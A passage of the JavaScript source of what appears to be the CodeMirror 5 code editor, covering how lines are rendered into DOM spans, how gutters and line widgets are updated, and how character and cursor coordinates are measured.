          txt$1 = content.appendChild(elt("span", spaceStr(tabWidth), "cm-tab"));
          txt$1.setAttribute("role", "presentation");
          txt$1.setAttribute("cm-text", "\t");
          builder.col += tabWidth;
        } else if (m[0] == "\r" || m[0] == "\n") {
          txt$1 = content.appendChild(elt("span", m[0] == "\r" ? "\u240d" : "\u2424", "cm-invalidchar"));
          txt$1.setAttribute("cm-text", m[0]);
          builder.col += 1;
        } else {
          txt$1 = builder.cm.options.specialCharPlaceholder(m[0]);
          txt$1.setAttribute("cm-text", m[0]);
          if (ie && ie_version < 9) { content.appendChild(elt("span", [txt$1])); }
          else { content.appendChild(txt$1); }
          builder.col += 1;
        }
        builder.map.push(builder.pos, builder.pos + 1, txt$1);
        builder.pos++;
      }
    }
    builder.trailingSpace = displayText.charCodeAt(text.length - 1) == 32;
    if (style || startStyle || endStyle || mustWrap || css || attributes) {
      var fullStyle = style || "";
      if (startStyle) { fullStyle += startStyle; }
      if (endStyle) { fullStyle += endStyle; }
      var token = elt("span", [content], fullStyle, css);
      if (attributes) {
        for (var attr in attributes) { if (attributes.hasOwnProperty(attr) && attr != "style" && attr != "class")
          { token.setAttribute(attr, attributes[attr]); } }
      }
      return builder.content.appendChild(token)
    }
    builder.content.appendChild(content);
  }

  // Change some spaces to NBSP to prevent the browser from collapsing
  // trailing spaces at the end of a line when rendering text (issue #1362).
  function splitSpaces(text, trailingBefore) {
    if (text.length > 1 && !/  /.test(text)) { return text }
    var spaceBefore = trailingBefore, result = "";
    for (var i = 0; i < text.length; i++) {
      var ch = text.charAt(i);
      if (ch == " " && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))
        { ch = "\u00a0"; }
      result += ch;
      spaceBefore = ch == " ";
    }
    return result
  }

  // Work around nonsense dimensions being reported for stretches of
  // right-to-left text.
  function buildTokenBadBidi(inner, order) {
    return function (builder, text, style, startStyle, endStyle, css, attributes) {
      style = style ? style + " cm-force-border" : "cm-force-border";
      var start = builder.pos, end = start + text.length;
      for (;;) {
        // Find the part that overlaps with the start of this text
        var part = (void 0);
        for (var i = 0; i < order.length; i++) {
          part = order[i];
          if (part.to > start && part.from <= start) { break }
        }
        if (part.to >= end) { return inner(builder, text, style, startStyle, endStyle, css, attributes) }
        inner(builder, text.slice(0, part.to - start), style, startStyle, null, css, attributes);
        startStyle = null;
        text = text.slice(part.to - start);
        start = part.to;
      }
    }
  }

  function buildCollapsedSpan(builder, size, marker, ignoreWidget) {
    var widget = !ignoreWidget && marker.widgetNode;
    if (widget) { builder.map.push(builder.pos, builder.pos + size, widget); }
    if (!ignoreWidget && builder.cm.display.input.needsContentAttribute) {
      if (!widget)
        { widget = builder.content.appendChild(document.createElement("span")); }
      widget.setAttribute("cm-marker", marker.id);
    }
    if (widget) {
      builder.cm.display.input.setUneditable(widget);
      builder.content.appendChild(widget);
    }
    builder.pos += size;
    builder.trailingSpace = false;
  }

  // Outputs a number of spans to make up a line, taking highlighting
  // and marked text into account.
  function insertLineContent(line, builder, styles) {
    var spans = line.markedSpans, allText = line.text, at = 0;
    if (!spans) {
      for (var i$1 = 1; i$1 < styles.length; i$1+=2)
        { builder.addToken(builder, allText.slice(at, at = styles[i$1]), interpretTokenStyle(styles[i$1+1], builder.cm.options)); }
      return
    }

    var len = allText.length, pos = 0, i = 1, text = "", style, css;
    var nextChange = 0, spanStyle, spanEndStyle, spanStartStyle, collapsed, attributes;
    for (;;) {
      if (nextChange == pos) { // Update current marker set
        spanStyle = spanEndStyle = spanStartStyle = css = "";
        attributes = null;
        collapsed = null; nextChange = Infinity;
        var foundBookmarks = [], endStyles = (void 0);
        for (var j = 0; j < spans.length; ++j) {
          var sp = spans[j], m = sp.marker;
          if (m.type == "bookmark" && sp.from == pos && m.widgetNode) {
            foundBookmarks.push(m);
          } else if (sp.from <= pos && (sp.to == null || sp.to > pos || m.collapsed && sp.to == pos && sp.from == pos)) {
            if (sp.to != null && sp.to != pos && nextChange > sp.to) {
              nextChange = sp.to;
              spanEndStyle = "";
            }
            if (m.className) { spanStyle += " " + m.className; }
            if (m.css) { css = (css ? css + ";" : "") + m.css; }
            if (m.startStyle && sp.from == pos) { spanStartStyle += " " + m.startStyle; }
            if (m.endStyle && sp.to == nextChange) { (endStyles || (endStyles = [])).push(m.endStyle, sp.to); }
            // support for the old title property
            // https://github.com/codemirror/CodeMirror/pull/5673
            if (m.title) { (attributes || (attributes = {})).title = m.title; }
            if (m.attributes) {
              for (var attr in m.attributes)
                { (attributes || (attributes = {}))[attr] = m.attributes[attr]; }
            }
            if (m.collapsed && (!collapsed || compareCollapsedMarkers(collapsed.marker, m) < 0))
              { collapsed = sp; }
          } else if (sp.from > pos && nextChange > sp.from) {
            nextChange = sp.from;
          }
        }
        if (endStyles) { for (var j$1 = 0; j$1 < endStyles.length; j$1 += 2)
          { if (endStyles[j$1 + 1] == nextChange) { spanEndStyle += " " + endStyles[j$1]; } } }

        if (!collapsed || collapsed.from == pos) { for (var j$2 = 0; j$2 < foundBookmarks.length; ++j$2)
          { buildCollapsedSpan(builder, 0, foundBookmarks[j$2]); } }
        if (collapsed && (collapsed.from || 0) == pos) {
          buildCollapsedSpan(builder, (collapsed.to == null ? len + 1 : collapsed.to) - pos,
                             collapsed.marker, collapsed.from == null);
          if (collapsed.to == null) { return }
          if (collapsed.to == pos) { collapsed = false; }
        }
      }
      if (pos >= len) { break }

      var upto = Math.min(len, nextChange);
      while (true) {
        if (text) {
          var end = pos + text.length;
          if (!collapsed) {
            var tokenText = end > upto ? text.slice(0, upto - pos) : text;
            builder.addToken(builder, tokenText, style ? style + spanStyle : spanStyle,
                             spanStartStyle, pos + tokenText.length == nextChange ? spanEndStyle : "", css, attributes);
          }
          if (end >= upto) {text = text.slice(upto - pos); pos = upto; break}
          pos = end;
          spanStartStyle = "";
        }
        text = allText.slice(at, at = styles[i++]);
        style = interpretTokenStyle(styles[i++], builder.cm.options);
      }
    }
  }


  // These objects are used to represent the visible (currently drawn)
  // part of the document. A LineView may correspond to multiple
  // logical lines, if those are connected by collapsed ranges.
  function LineView(doc, line, lineN) {
    // The starting line
    this.line = line;
    // Continuing lines, if any
    this.rest = visualLineContinued(line);
    // Number of logical lines in this visual line
    this.size = this.rest ? lineNo(lst(this.rest)) - lineN + 1 : 1;
    this.node = this.text = null;
    this.hidden = lineIsHidden(doc, line);
  }

  // Create a range of LineView objects for the given lines.
  function buildViewArray(cm, from, to) {
    var array = [], nextPos;
    for (var pos = from; pos < to; pos = nextPos) {
      var view = new LineView(cm.doc, getLine(cm.doc, pos), pos);
      nextPos = pos + view.size;
      array.push(view);
    }
    return array
  }

  var operationGroup = null;

  function pushOperation(op) {
    if (operationGroup) {
      operationGroup.ops.push(op);
    } else {
      op.ownsGroup = operationGroup = {
        ops: [op],
        delayedCallbacks: []
      };
    }
  }

  function fireCallbacksForOps(group) {
    // Calls delayed callbacks and cursorActivity handlers until no
    // new ones appear
    var callbacks = group.delayedCallbacks, i = 0;
    do {
      for (; i < callbacks.length; i++)
        { callbacks[i].call(null); }
      for (var j = 0; j < group.ops.length; j++) {
        var op = group.ops[j];
        if (op.cursorActivityHandlers)
          { while (op.cursorActivityCalled < op.cursorActivityHandlers.length)
            { op.cursorActivityHandlers[op.cursorActivityCalled++].call(null, op.cm); } }
      }
    } while (i < callbacks.length)
  }

  function finishOperation(op, endCb) {
    var group = op.ownsGroup;
    if (!group) { return }

    try { fireCallbacksForOps(group); }
    finally {
      operationGroup = null;
      endCb(group);
    }
  }

  var orphanDelayedCallbacks = null;

  // Often, we want to signal events at a point where we are in the
  // middle of some work, but don't want the handler to start calling
  // other methods on the editor, which might be in an inconsistent
  // state or simply not expect any other events to happen.
  // signalLater looks whether there are any handlers, and schedules
  // them to be executed when the last operation ends, or, if no
  // operation is active, when a timeout fires.
  function signalLater(emitter, type /*, values...*/) {
    var arr = getHandlers(emitter, type);
    if (!arr.length) { return }
    var args = Array.prototype.slice.call(arguments, 2), list;
    if (operationGroup) {
      list = operationGroup.delayedCallbacks;
    } else if (orphanDelayedCallbacks) {
      list = orphanDelayedCallbacks;
    } else {
      list = orphanDelayedCallbacks = [];
      setTimeout(fireOrphanDelayed, 0);
    }
    var loop = function ( i ) {
      list.push(function () { return arr[i].apply(null, args); });
    };

    for (var i = 0; i < arr.length; ++i)
      loop( i );
  }

  function fireOrphanDelayed() {
    var delayed = orphanDelayedCallbacks;
    orphanDelayedCallbacks = null;
    for (var i = 0; i < delayed.length; ++i) { delayed[i](); }
  }

  // When an aspect of a line changes, a string is added to
  // lineView.changes. This updates the relevant part of the line's
  // DOM structure.
  function updateLineForChanges(cm, lineView, lineN, dims) {
    for (var j = 0; j < lineView.changes.length; j++) {
      var type = lineView.changes[j];
      if (type == "text") { updateLineText(cm, lineView); }
      else if (type == "gutter") { updateLineGutter(cm, lineView, lineN, dims); }
      else if (type == "class") { updateLineClasses(cm, lineView); }
      else if (type == "widget") { updateLineWidgets(cm, lineView, dims); }
    }
    lineView.changes = null;
  }

  // Lines with gutter elements, widgets or a background class need to
  // be wrapped, and have the extra elements added to the wrapper div
  function ensureLineWrapped(lineView) {
    if (lineView.node == lineView.text) {
      lineView.node = elt("div", null, null, "position: relative");
      if (lineView.text.parentNode)
        { lineView.text.parentNode.replaceChild(lineView.node, lineView.text); }
      lineView.node.appendChild(lineView.text);
      if (ie && ie_version < 8) { lineView.node.style.zIndex = 2; }
    }
    return lineView.node
  }

  function updateLineBackground(cm, lineView) {
    var cls = lineView.bgClass ? lineView.bgClass + " " + (lineView.line.bgClass || "") : lineView.line.bgClass;
    if (cls) { cls += " CodeMirror-linebackground"; }
    if (lineView.background) {
      if (cls) { lineView.background.className = cls; }
      else { lineView.background.parentNode.removeChild(lineView.background); lineView.background = null; }
    } else if (cls) {
      var wrap = ensureLineWrapped(lineView);
      lineView.background = wrap.insertBefore(elt("div", null, cls), wrap.firstChild);
      cm.display.input.setUneditable(lineView.background);
    }
  }

  // Wrapper around buildLineContent which will reuse the structure
  // in display.externalMeasured when possible.
  function getLineContent(cm, lineView) {
    var ext = cm.display.externalMeasured;
    if (ext && ext.line == lineView.line) {
      cm.display.externalMeasured = null;
      lineView.measure = ext.measure;
      return ext.built
    }
    return buildLineContent(cm, lineView)
  }

  // Redraw the line's text. Interacts with the background and text
  // classes because the mode may output tokens that influence these
  // classes.
  function updateLineText(cm, lineView) {
    var cls = lineView.text.className;
    var built = getLineContent(cm, lineView);
    if (lineView.text == lineView.node) { lineView.node = built.pre; }
    lineView.text.parentNode.replaceChild(built.pre, lineView.text);
    lineView.text = built.pre;
    if (built.bgClass != lineView.bgClass || built.textClass != lineView.textClass) {
      lineView.bgClass = built.bgClass;
      lineView.textClass = built.textClass;
      updateLineClasses(cm, lineView);
    } else if (cls) {
      lineView.text.className = cls;
    }
  }

  function updateLineClasses(cm, lineView) {
    updateLineBackground(cm, lineView);
    if (lineView.line.wrapClass)
      { ensureLineWrapped(lineView).className = lineView.line.wrapClass; }
    else if (lineView.node != lineView.text)
      { lineView.node.className = ""; }
    var textClass = lineView.textClass ? lineView.textClass + " " + (lineView.line.textClass || "") : lineView.line.textClass;
    lineView.text.className = textClass || "";
  }

  function updateLineGutter(cm, lineView, lineN, dims) {
    if (lineView.gutter) {
      lineView.node.removeChild(lineView.gutter);
      lineView.gutter = null;
    }
    if (lineView.gutterBackground) {
      lineView.node.removeChild(lineView.gutterBackground);
      lineView.gutterBackground = null;
    }
    if (lineView.line.gutterClass) {
      var wrap = ensureLineWrapped(lineView);
      lineView.gutterBackground = elt("div", null, "CodeMirror-gutter-background " + lineView.line.gutterClass,
                                      ("left: " + (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + "px; width: " + (dims.gutterTotalWidth) + "px"));
      cm.display.input.setUneditable(lineView.gutterBackground);
      wrap.insertBefore(lineView.gutterBackground, lineView.text);
    }
    var markers = lineView.line.gutterMarkers;
    if (cm.options.lineNumbers || markers) {
      var wrap$1 = ensureLineWrapped(lineView);
      var gutterWrap = lineView.gutter = elt("div", null, "CodeMirror-gutter-wrapper", ("left: " + (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + "px"));
      cm.display.input.setUneditable(gutterWrap);
      wrap$1.insertBefore(gutterWrap, lineView.text);
      if (lineView.line.gutterClass)
        { gutterWrap.className += " " + lineView.line.gutterClass; }
      if (cm.options.lineNumbers && (!markers || !markers["CodeMirror-linenumbers"]))
        { lineView.lineNumber = gutterWrap.appendChild(
          elt("div", lineNumberFor(cm.options, lineN),
              "CodeMirror-linenumber CodeMirror-gutter-elt",
              ("left: " + (dims.gutterLeft["CodeMirror-linenumbers"]) + "px; width: " + (cm.display.lineNumInnerWidth) + "px"))); }
      if (markers) { for (var k = 0; k < cm.display.gutterSpecs.length; ++k) {
        var id = cm.display.gutterSpecs[k].className, found = markers.hasOwnProperty(id) && markers[id];
        if (found)
          { gutterWrap.appendChild(elt("div", [found], "CodeMirror-gutter-elt",
                                     ("left: " + (dims.gutterLeft[id]) + "px; width: " + (dims.gutterWidth[id]) + "px"))); }
      } }
    }
  }

  function updateLineWidgets(cm, lineView, dims) {
    if (lineView.alignable) { lineView.alignable = null; }
    var isWidget = classTest("CodeMirror-linewidget");
    for (var node = lineView.node.firstChild, next = (void 0); node; node = next) {
      next = node.nextSibling;
      if (isWidget.test(node.className)) { lineView.node.removeChild(node); }
    }
    insertLineWidgets(cm, lineView, dims);
  }

  // Build a line's DOM representation from scratch
  function buildLineElement(cm, lineView, lineN, dims) {
    var built = getLineContent(cm, lineView);
    lineView.text = lineView.node = built.pre;
    if (built.bgClass) { lineView.bgClass = built.bgClass; }
    if (built.textClass) { lineView.textClass = built.textClass; }

    updateLineClasses(cm, lineView);
    updateLineGutter(cm, lineView, lineN, dims);
    insertLineWidgets(cm, lineView, dims);
    return lineView.node
  }

  // A lineView may contain multiple logical lines (when merged by
  // collapsed spans). The widgets for all of them need to be drawn.
  function insertLineWidgets(cm, lineView, dims) {
    insertLineWidgetsFor(cm, lineView.line, lineView, dims, true);
    if (lineView.rest) { for (var i = 0; i < lineView.rest.length; i++)
      { insertLineWidgetsFor(cm, lineView.rest[i], lineView, dims, false); } }
  }

  function insertLineWidgetsFor(cm, line, lineView, dims, allowAbove) {
    if (!line.widgets) { return }
    var wrap = ensureLineWrapped(lineView);
    for (var i = 0, ws = line.widgets; i < ws.length; ++i) {
      var widget = ws[i], node = elt("div", [widget.node], "CodeMirror-linewidget" + (widget.className ? " " + widget.className : ""));
      if (!widget.handleMouseEvents) { node.setAttribute("cm-ignore-events", "true"); }
      positionLineWidget(widget, node, lineView, dims);
      cm.display.input.setUneditable(node);
      if (allowAbove && widget.above)
        { wrap.insertBefore(node, lineView.gutter || lineView.text); }
      else
        { wrap.appendChild(node); }
      signalLater(widget, "redraw");
    }
  }

  function positionLineWidget(widget, node, lineView, dims) {
    if (widget.noHScroll) {
  (lineView.alignable || (lineView.alignable = [])).push(node);
      var width = dims.wrapperWidth;
      node.style.left = dims.fixedPos + "px";
      if (!widget.coverGutter) {
        width -= dims.gutterTotalWidth;
        node.style.paddingLeft = dims.gutterTotalWidth + "px";
      }
      node.style.width = width + "px";
    }
    if (widget.coverGutter) {
      node.style.zIndex = 5;
      node.style.position = "relative";
      if (!widget.noHScroll) { node.style.marginLeft = -dims.gutterTotalWidth + "px"; }
    }
  }

  function widgetHeight(widget) {
    if (widget.height != null) { return widget.height }
    var cm = widget.doc.cm;
    if (!cm) { return 0 }
    if (!contains(document.body, widget.node)) {
      var parentStyle = "position: relative;";
      if (widget.coverGutter)
        { parentStyle += "margin-left: -" + cm.display.gutters.offsetWidth + "px;"; }
      if (widget.noHScroll)
        { parentStyle += "width: " + cm.display.wrapper.clientWidth + "px;"; }
      removeChildrenAndAdd(cm.display.measure, elt("div", [widget.node], null, parentStyle));
    }
    return widget.height = widget.node.parentNode.offsetHeight
  }

  // Return true when the given mouse event happened in a widget
  function eventInWidget(display, e) {
    for (var n = e_target(e); n != display.wrapper; n = n.parentNode) {
      if (!n || (n.nodeType == 1 && n.getAttribute("cm-ignore-events") == "true") ||
          (n.parentNode == display.sizer && n != display.mover))
        { return true }
    }
  }

  // POSITION MEASUREMENT

  function paddingTop(display) {return display.lineSpace.offsetTop}
  function paddingVert(display) {return display.mover.offsetHeight - display.lineSpace.offsetHeight}
  function paddingH(display) {
    if (display.cachedPaddingH) { return display.cachedPaddingH }
    var e = removeChildrenAndAdd(display.measure, elt("pre", "x", "CodeMirror-line-like"));
    var style = window.getComputedStyle ? window.getComputedStyle(e) : e.currentStyle;
    var data = {left: parseInt(style.paddingLeft), right: parseInt(style.paddingRight)};
    if (!isNaN(data.left) && !isNaN(data.right)) { display.cachedPaddingH = data; }
    return data
  }

  function scrollGap(cm) { return scrollerGap - cm.display.nativeBarWidth }
  function displayWidth(cm) {
    return cm.display.scroller.clientWidth - scrollGap(cm) - cm.display.barWidth
  }
  function displayHeight(cm) {
    return cm.display.scroller.clientHeight - scrollGap(cm) - cm.display.barHeight
  }

  // Ensure the lineView.wrapping.heights array is populated. This is
  // an array of bottom offsets for the lines that make up a drawn
  // line. When lineWrapping is on, there might be more than one
  // height.
  function ensureLineHeights(cm, lineView, rect) {
    var wrapping = cm.options.lineWrapping;
    var curWidth = wrapping && displayWidth(cm);
    if (!lineView.measure.heights || wrapping && lineView.measure.width != curWidth) {
      var heights = lineView.measure.heights = [];
      if (wrapping) {
        lineView.measure.width = curWidth;
        var rects = lineView.text.firstChild.getClientRects();
        for (var i = 0; i < rects.length - 1; i++) {
          var cur = rects[i], next = rects[i + 1];
          if (Math.abs(cur.bottom - next.bottom) > 2)
            { heights.push((cur.bottom + next.top) / 2 - rect.top); }
        }
      }
      heights.push(rect.bottom - rect.top);
    }
  }

  // Find a line map (mapping character offsets to text nodes) and a
  // measurement cache for the given line number. (A line view might
  // contain multiple lines when collapsed ranges are present.)
  function mapFromLineView(lineView, line, lineN) {
    if (lineView.line == line)
      { return {map: lineView.measure.map, cache: lineView.measure.cache} }
    for (var i = 0; i < lineView.rest.length; i++)
      { if (lineView.rest[i] == line)
        { return {map: lineView.measure.maps[i], cache: lineView.measure.caches[i]} } }
    for (var i$1 = 0; i$1 < lineView.rest.length; i$1++)
      { if (lineNo(lineView.rest[i$1]) > lineN)
        { return {map: lineView.measure.maps[i$1], cache: lineView.measure.caches[i$1], before: true} } }
  }

  // Render a line into the hidden node display.externalMeasured. Used
  // when measurement is needed for a line that's not in the viewport.
  function updateExternalMeasurement(cm, line) {
    line = visualLine(line);
    var lineN = lineNo(line);
    var view = cm.display.externalMeasured = new LineView(cm.doc, line, lineN);
    view.lineN = lineN;
    var built = view.built = buildLineContent(cm, view);
    view.text = built.pre;
    removeChildrenAndAdd(cm.display.lineMeasure, built.pre);
    return view
  }

  // Get a {top, bottom, left, right} box (in line-local coordinates)
  // for a given character.
  function measureChar(cm, line, ch, bias) {
    return measureCharPrepared(cm, prepareMeasureForLine(cm, line), ch, bias)
  }

  // Find a line view that corresponds to the given line number.
  function findViewForLine(cm, lineN) {
    if (lineN >= cm.display.viewFrom && lineN < cm.display.viewTo)
      { return cm.display.view[findViewIndex(cm, lineN)] }
    var ext = cm.display.externalMeasured;
    if (ext && lineN >= ext.lineN && lineN < ext.lineN + ext.size)
      { return ext }
  }

  // Measurement can be split in two steps, the set-up work that
  // applies to the whole line, and the measurement of the actual
  // character. Functions like coordsChar, that need to do a lot of
  // measurements in a row, can thus ensure that the set-up work is
  // only done once.
  function prepareMeasureForLine(cm, line) {
    var lineN = lineNo(line);
    var view = findViewForLine(cm, lineN);
    if (view && !view.text) {
      view = null;
    } else if (view && view.changes) {
      updateLineForChanges(cm, view, lineN, getDimensions(cm));
      cm.curOp.forceUpdate = true;
    }
    if (!view)
      { view = updateExternalMeasurement(cm, line); }

    var info = mapFromLineView(view, line, lineN);
    return {
      line: line, view: view, rect: null,
      map: info.map, cache: info.cache, before: info.before,
      hasHeights: false
    }
  }

  // Given a prepared measurement object, measures the position of an
  // actual character (or fetches it from the cache).
  function measureCharPrepared(cm, prepared, ch, bias, varHeight) {
    if (prepared.before) { ch = -1; }
    var key = ch + (bias || ""), found;
    if (prepared.cache.hasOwnProperty(key)) {
      found = prepared.cache[key];
    } else {
      if (!prepared.rect)
        { prepared.rect = prepared.view.text.getBoundingClientRect(); }
      if (!prepared.hasHeights) {
        ensureLineHeights(cm, prepared.view, prepared.rect);
        prepared.hasHeights = true;
      }
      found = measureCharInner(cm, prepared, ch, bias);
      if (!found.bogus) { prepared.cache[key] = found; }
    }
    return {left: found.left, right: found.right,
            top: varHeight ? found.rtop : found.top,
            bottom: varHeight ? found.rbottom : found.bottom}
  }

  var nullRect = {left: 0, right: 0, top: 0, bottom: 0};

  function nodeAndOffsetInLineMap(map, ch, bias) {
    var node, start, end, collapse, mStart, mEnd;
    // First, search the line map for the text node corresponding to,
    // or closest to, the target character.
    for (var i = 0; i < map.length; i += 3) {
      mStart = map[i];
      mEnd = map[i + 1];
      if (ch < mStart) {
        start = 0; end = 1;
        collapse = "left";
      } else if (ch < mEnd) {
        start = ch - mStart;
        end = start + 1;
      } else if (i == map.length - 3 || ch == mEnd && map[i + 3] > ch) {
        end = mEnd - mStart;
        start = end - 1;
        if (ch >= mEnd) { collapse = "right"; }
      }
      if (start != null) {
        node = map[i + 2];
        if (mStart == mEnd && bias == (node.insertLeft ? "left" : "right"))
          { collapse = bias; }
        if (bias == "left" && start == 0)
          { while (i && map[i - 2] == map[i - 3] && map[i - 1].insertLeft) {
            node = map[(i -= 3) + 2];
            collapse = "left";
          } }
        if (bias == "right" && start == mEnd - mStart)
          { while (i < map.length - 3 && map[i + 3] == map[i + 4] && !map[i + 5].insertLeft) {
            node = map[(i += 3) + 2];
            collapse = "right";
          } }
        break
      }
    }
    return {node: node, start: start, end: end, collapse: collapse, coverStart: mStart, coverEnd: mEnd}
  }

  function getUsefulRect(rects, bias) {
    var rect = nullRect;
    if (bias == "left") { for (var i = 0; i < rects.length; i++) {
      if ((rect = rects[i]).left != rect.right) { break }
    } } else { for (var i$1 = rects.length - 1; i$1 >= 0; i$1--) {
      if ((rect = rects[i$1]).left != rect.right) { break }
    } }
    return rect
  }

  function measureCharInner(cm, prepared, ch, bias) {
    var place = nodeAndOffsetInLineMap(prepared.map, ch, bias);
    var node = place.node, start = place.start, end = place.end, collapse = place.collapse;

    var rect;
    if (node.nodeType == 3) { // If it is a text node, use a range to retrieve the coordinates.
      for (var i$1 = 0; i$1 < 4; i$1++) { // Retry a maximum of 4 times when nonsense rectangles are returned
        while (start && isExtendingChar(prepared.line.text.charAt(place.coverStart + start))) { --start; }
        while (place.coverStart + end < place.coverEnd && isExtendingChar(prepared.line.text.charAt(place.coverStart + end))) { ++end; }
        if (ie && ie_version < 9 && start == 0 && end == place.coverEnd - place.coverStart)
          { rect = node.parentNode.getBoundingClientRect(); }
        else
          { rect = getUsefulRect(range(node, start, end).getClientRects(), bias); }
        if (rect.left || rect.right || start == 0) { break }
        end = start;
        start = start - 1;
        collapse = "right";
      }
      if (ie && ie_version < 11) { rect = maybeUpdateRectForZooming(cm.display.measure, rect); }
    } else { // If it is a widget, simply get the box for the whole widget.
      if (start > 0) { collapse = bias = "right"; }
      var rects;
      if (cm.options.lineWrapping && (rects = node.getClientRects()).length > 1)
        { rect = rects[bias == "right" ? rects.length - 1 : 0]; }
      else
        { rect = node.getBoundingClientRect(); }
    }
    if (ie && ie_version < 9 && !start && (!rect || !rect.left && !rect.right)) {
      var rSpan = node.parentNode.getClientRects()[0];
      if (rSpan)
        { rect = {left: rSpan.left, right: rSpan.left + charWidth(cm.display), top: rSpan.top, bottom: rSpan.bottom}; }
      else
        { rect = nullRect; }
    }

    var rtop = rect.top - prepared.rect.top, rbot = rect.bottom - prepared.rect.top;
    var mid = (rtop + rbot) / 2;
    var heights = prepared.view.measure.heights;
    var i = 0;
    for (; i < heights.length - 1; i++)
      { if (mid < heights[i]) { break } }
    var top = i ? heights[i - 1] : 0, bot = heights[i];
    var result = {left: (collapse == "right" ? rect.right : rect.left) - prepared.rect.left,
                  right: (collapse == "left" ? rect.left : rect.right) - prepared.rect.left,
                  top: top, bottom: bot};
    if (!rect.left && !rect.right) { result.bogus = true; }
    if (!cm.options.singleCursorHeightPerLine) { result.rtop = rtop; result.rbottom = rbot; }

    return result
  }

  // Work around problem with bounding client rects on ranges being
  // returned incorrectly when zoomed on IE10 and below.
  function maybeUpdateRectForZooming(measure, rect) {
    if (!window.screen || screen.logicalXDPI == null ||
        screen.logicalXDPI == screen.deviceXDPI || !hasBadZoomedRects(measure))
      { return rect }
    var scaleX = screen.logicalXDPI / screen.deviceXDPI;
    var scaleY = screen.logicalYDPI / screen.deviceYDPI;
    return {left: rect.left * scaleX, right: rect.right * scaleX,
            top: rect.top * scaleY, bottom: rect.bottom * scaleY}
  }

  function clearLineMeasurementCacheFor(lineView) {
    if (lineView.measure) {
      lineView.measure.cache = {};
      lineView.measure.heights = null;
      if (lineView.rest) { for (var i = 0; i < lineView.rest.length; i++)
        { lineView.measure.caches[i] = {}; } }
    }
  }

  function clearLineMeasurementCache(cm) {
    cm.display.externalMeasure = null;
    removeChildren(cm.display.lineMeasure);
    for (var i = 0; i < cm.display.view.length; i++)
      { clearLineMeasurementCacheFor(cm.display.view[i]); }
  }

  function clearCaches(cm) {
    clearLineMeasurementCache(cm);
    cm.display.cachedCharWidth = cm.display.cachedTextHeight = cm.display.cachedPaddingH = null;
    if (!cm.options.lineWrapping) { cm.display.maxLineChanged = true; }
    cm.display.lineNumChars = null;
  }

  function pageScrollX() {
    // Work around https://bugs.chromium.org/p/chromium/issues/detail?id=489206
    // which causes page_Offset and bounding client rects to use
    // different reference viewports and invalidate our calculations.
    if (chrome && android) { return -(document.body.getBoundingClientRect().left - parseInt(getComputedStyle(document.body).marginLeft)) }
    return window.pageXOffset || (document.documentElement || document.body).scrollLeft
  }
  function pageScrollY() {
    if (chrome && android) { return -(document.body.getBoundingClientRect().top - parseInt(getComputedStyle(document.body).marginTop)) }
    return window.pageYOffset || (document.documentElement || document.body).scrollTop
  }

  function widgetTopHeight(lineObj) {
    var height = 0;
    if (lineObj.widgets) { for (var i = 0; i < lineObj.widgets.length; ++i) { if (lineObj.widgets[i].above)
      { height += widgetHeight(lineObj.widgets[i]); } } }
    return height
  }

  // Converts a {top, bottom, left, right} box from line-local
  // coordinates into another coordinate system. Context may be one of
  // "line", "div" (display.lineDiv), "local"./null (editor), "window",
  // or "page".
  function intoCoordSystem(cm, lineObj, rect, context, includeWidgets) {
    if (!includeWidgets) {
      var height = widgetTopHeight(lineObj);
      rect.top += height; rect.bottom += height;
    }
    if (context == "line") { return rect }
    if (!context) { context = "local"; }
    var yOff = heightAtLine(lineObj);
    if (context == "local") { yOff += paddingTop(cm.display); }
    else { yOff -= cm.display.viewOffset; }
    if (context == "page" || context == "window") {
      var lOff = cm.display.lineSpace.getBoundingClientRect();
      yOff += lOff.top + (context == "window" ? 0 : pageScrollY());
      var xOff = lOff.left + (context == "window" ? 0 : pageScrollX());
      rect.left += xOff; rect.right += xOff;
    }
    rect.top += yOff; rect.bottom += yOff;
    return rect
  }

  // Coverts a box from "div" coords to another coordinate system.
  // Context may be "window", "page", "div", or "local"./null.
  function fromCoordSystem(cm, coords, context) {
    if (context == "div") { return coords }
    var left = coords.left, top = coords.top;
    // First move into "page" coordinate system
    if (context == "page") {
      left -= pageScrollX();
      top -= pageScrollY();
    } else if (context == "local" || !context) {
      var localBox = cm.display.sizer.getBoundingClientRect();
      left += localBox.left;
      top += localBox.top;
    }

    var lineSpaceBox = cm.display.lineSpace.getBoundingClientRect();
    return {left: left - lineSpaceBox.left, top: top - lineSpaceBox.top}
  }

  function charCoords(cm, pos, context, lineObj, bias) {
    if (!lineObj) { lineObj = getLine(cm.doc, pos.line); }
    return intoCoordSystem(cm, lineObj, measureChar(cm, lineObj, pos.ch, bias), context)
  }

  // Returns a box for a given cursor position, which may have an
  // 'other' property containing the position of the secondary cursor
  // on a bidi boundary.
  // A cursor Pos(line, char, "before") is on the same visual line as `char - 1`
  // and after `char - 1` in writing order of `char - 1`
  // A cursor Pos(line, char, "after") is on the same visual line as `char`
  // and before `char` in writing order of `char`
  // Examples (upper-case letters are RTL, lower-case are LTR):
  //     Pos(0, 1, ...)
  //     before   after
  // ab     a|b     a|b
  // aB     a|B     aB|
  // Ab     |Ab     A|b
  // AB     B|A     B|A
  // Every position after the last character on a line is considered to stick
  // to the last character on the line.
  function cursorCoords(cm, pos, context, lineObj, preparedMeasure, varHeight) {
    lineObj = lineObj || getLine(cm.doc, pos.line);
    if (!preparedMeasure) { preparedMeasure = prepareMeasureForLine(cm, lineObj); }
    function get(ch, right) {
      var m = measureCharPrepared(cm, preparedMeasure, ch, right ? "right" : "left", varHeight);
      if (right) { m.left = m.right; } else { m.right = m.left; }
      return intoCoordSystem(cm, lineObj, m, context)
    }
    var order = getOrder(lineObj, cm.doc.direction), ch = pos.ch, sticky = pos.sticky;
    if (ch >= lineObj.text.length) {
      ch = lineObj.text.length;
      sticky = "before";
    } else if (ch <= 0) {
      ch = 0;
      sticky = "after";
    }
    if (!order) { return get(sticky == "before" ? ch - 1 : ch, sticky == "before") }

    function getBidi(ch, partPos, invert) {
      var part = order[partPos], right = part.level == 1;
      return get(invert ? ch - 1 : ch, right != invert)
    }
    var partPos = getBidiPartAt(order, ch, sticky);
    var other = bidiOther;
    var val = getBidi(ch, partPos, sticky == "before");
    if (other != null) { val.other = getBidi(ch, other, sticky != "before"); }
    return val
  }

  // Used to cheaply estimate the coordinates for a position. Used for
  // intermediate scroll updates.
  function estimateCoords(cm, pos) {
    var left = 0;
